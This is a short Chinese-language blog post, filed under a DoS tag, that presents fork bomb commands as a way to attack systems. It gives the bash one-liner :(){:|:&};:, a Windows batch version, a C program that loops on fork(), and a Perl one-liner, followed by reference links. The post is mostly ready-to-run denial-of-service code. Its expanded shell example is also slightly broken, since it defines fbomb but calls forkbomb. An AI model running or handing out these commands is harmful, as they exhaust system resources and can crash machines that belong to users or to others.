發表文章

目前顯示的是有「DoS」標籤的文章

fork bomb 的 DoS

 在各種環境下,皆可使用該指令方式攻擊: 1. Unix-like Shell $ :(){:|:&};:    # $為命令提示字元,如同 fbomb(){fbomb|fbomb &}; forkbomb 2.  Windows > %0 | %0    # > 為命令提示字元 3. C with POSIX #include<unistd.h> int main(){ while(1)  // always true    fork(); return 0; } 4. Perl fork while fork 參考資料 https://askubuntu.com/questions/159491/why-did-the-command-make-my-system-lag-so-badly-i-had-to-reboot https://zh.wikipedia.org/wiki/Fork%E7%82%B8%E5%BC%B9